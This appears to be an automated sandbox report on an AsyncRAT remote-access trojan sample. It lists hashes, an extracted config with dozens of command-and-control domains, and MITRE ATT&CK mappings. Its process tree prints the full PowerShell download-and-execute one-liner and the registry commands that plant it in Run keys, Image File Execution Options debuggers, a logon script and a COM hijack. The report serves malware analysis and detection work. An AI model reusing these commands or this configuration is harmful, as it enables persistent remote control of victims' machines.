asyncrat | ae0a2506ad4a6d2a83cf45f3cefb55c6126b4701fcc4496082a29fcade4565bd

General

Target
Chua tay dau 5.exe
Size 62KB
Sample260928-ddbt3asy5m
SHA256 ae0a2506ad4a6d2a83cf45f3cefb55c6126b4701fcc4496082a29fcade4565bd
MD5 057c8db5ab1f3250028e356bacabbed8
SHA1 82aab67bdb9016496d14eeae7231a740bf9c99c0
SHA512 04d97597f9b0ec445c56bebffde04969a4a59d51eaf4facda83703e98d537f1e46f301a3bbc1f7f1595ff10e414c88d3449bea891d94a0962919f0772512300a
SSDEEP 768:GMwv5iRyHfdGw3377kdyGr8TMJg6mMZFb6Mg8z6jMoenIScDebTgLWi7Whlem1Td:Tkcw35y5ejMjn3zbMLw8tmcXzr0x
TLSH
T1F953290437F88526F2BE9BBC98F261454675F2636512DB4E1CD421DB0A12BC2DA42BFF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default discovery execution asyncrat persistence privilege_escalation rat

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://casino-igrice.me/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

akuwin138.co:8080
akuwin138.co:443
akuwin138.co:80
www.akuwin138.co:8080
www.akuwin138.co:443
www.akuwin138.co:80
demenslot.vip:8080
demenslot.vip:443
demenslot.vip:80
www.demenslot.vip:8080
www.demenslot.vip:443
www.demenslot.vip:80
chengzhi888.co:8080
chengzhi888.co:443
chengzhi888.co:80
www.chengzhi888.co:8080
www.chengzhi888.co:443
www.chengzhi888.co:80
hi88com.biz:8080
hi88com.biz:443
hi88com.biz:80
www.hi88com.biz:8080
www.hi88com.biz:443
www.hi88com.biz:80
casino-igrice.me:8080
casino-igrice.me:443
casino-igrice.me:80
www.casino-igrice.me:8080
www.casino-igrice.me:443
www.casino-igrice.me:80
hi88.chat:8080
hi88.chat:443
hi88.chat:80
www.hi88.chat:8080
www.hi88.chat:443
www.hi88.chat:80
c2.akuwin138.co:8080
c2.akuwin138.co:443
c2.akuwin138.co:80
c2.demenslot.vip:8080
c2.demenslot.vip:443
c2.demenslot.vip:80
c2.chengzhi888.co:8080
c2.chengzhi888.co:443
c2.chengzhi888.co:80
c2.hi88com.biz:8080
c2.hi88com.biz:443
c2.hi88com.biz:80
c2.casino-igrice.me:8080
c2.casino-igrice.me:443
c2.casino-igrice.me:80
c2.hi88.chat:8080
c2.hi88.chat:443
c2.hi88.chat:80
s666hn.com:8080
s666hn.com:443
s666hn.com:80
mb66ax.com:8080
mb66ax.com:443
mb66ax.com:80

Mutex

rUxisx2Y3YTZ

Attributes

delay
3
install
false
install_file
App.exe
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
144	2660	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2660	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\International\Geo\Nation	Chua tay dau 5.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\""	reg.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdateSvc = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WinUpdateOnce = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\""	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2472	cmd.exe
1808	cmd.exe
3624	cmd.exe
1036	cmd.exe
3360	cmd.exe
4572	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Chua tay dau 5.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Chua tay dau 5.exe

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Chua tay dau 5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000_Classes\WOW6432Node	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000_Classes\WOW6432Node\CLSID	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32\ = "C:\\Windows\\Temp\\payload.dll"	reg.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
3892	Chua tay dau 5.exe
2660	powershell.exe
2660	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3892	Chua tay dau 5.exe
Token: SeDebugPrivilege	2660	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3892 wrote to memory of 1036	3892	Chua tay dau 5.exe	101
PID 3892 wrote to memory of 3360	3892	Chua tay dau 5.exe	103
PID 3892 wrote to memory of 4572	3892	Chua tay dau 5.exe	105
PID 3892 wrote to memory of 2472	3892	Chua tay dau 5.exe	107
PID 3892 wrote to memory of 1808	3892	Chua tay dau 5.exe	109
PID 1036 wrote to memory of 3716	1036	cmd.exe	111
PID 3892 wrote to memory of 3624	3892	Chua tay dau 5.exe	112
PID 3360 wrote to memory of 624	3360	cmd.exe	114
PID 4572 wrote to memory of 1240	4572	cmd.exe	115
PID 1808 wrote to memory of 452	1808	cmd.exe	116
PID 2472 wrote to memory of 2744	2472	cmd.exe	117
PID 3624 wrote to memory of 1496	3624	cmd.exe	118

C:\Users\Admin\AppData\Local\Temp\Chua tay dau 5.exe
"C:\Users\Admin\AppData\Local\Temp\Chua tay dau 5.exe"
1⤵
- Checks computer location settings
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3892
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1036
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:3716
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinUpdateOnce" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3360
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinUpdateOnce" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:624
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4572
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:1240
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:2744
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:452
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3624
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    - System Location Discovery: System Language Discovery
    PID:1496

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2660

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Boot or Logon Initialization Scripts

1

T1037

Logon Script (Windows)

1

T1037.001

Event Triggered Execution

2

T1546

Component Object Model Hijacking

1

T1546.015

Image File Execution Options Injection

1

T1546.012

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Boot or Logon Initialization Scripts

1

T1037

Logon Script (Windows)

1

T1037.001

Event Triggered Execution

2

T1546

Component Object Model Hijacking

1

T1546.015

Image File Execution Options Injection

1

T1546.012

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

3

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_ocbw0pyk.adz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ocbw0pyk.adz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2660-8-0x0000020483840000-0x0000020483862000-memory.dmp

Download

memory/2660-13-0x000002049C5F0000-0x000002049C73E000-memory.dmp

Download

memory/3892-0-0x00000000001B0000-0x00000000001C6000-memory.dmp

Download

memory/3892-1-0x0000000004B60000-0x0000000004B70000-memory.dmp

Download

memory/3892-2-0x0000000004B60000-0x0000000004B70000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads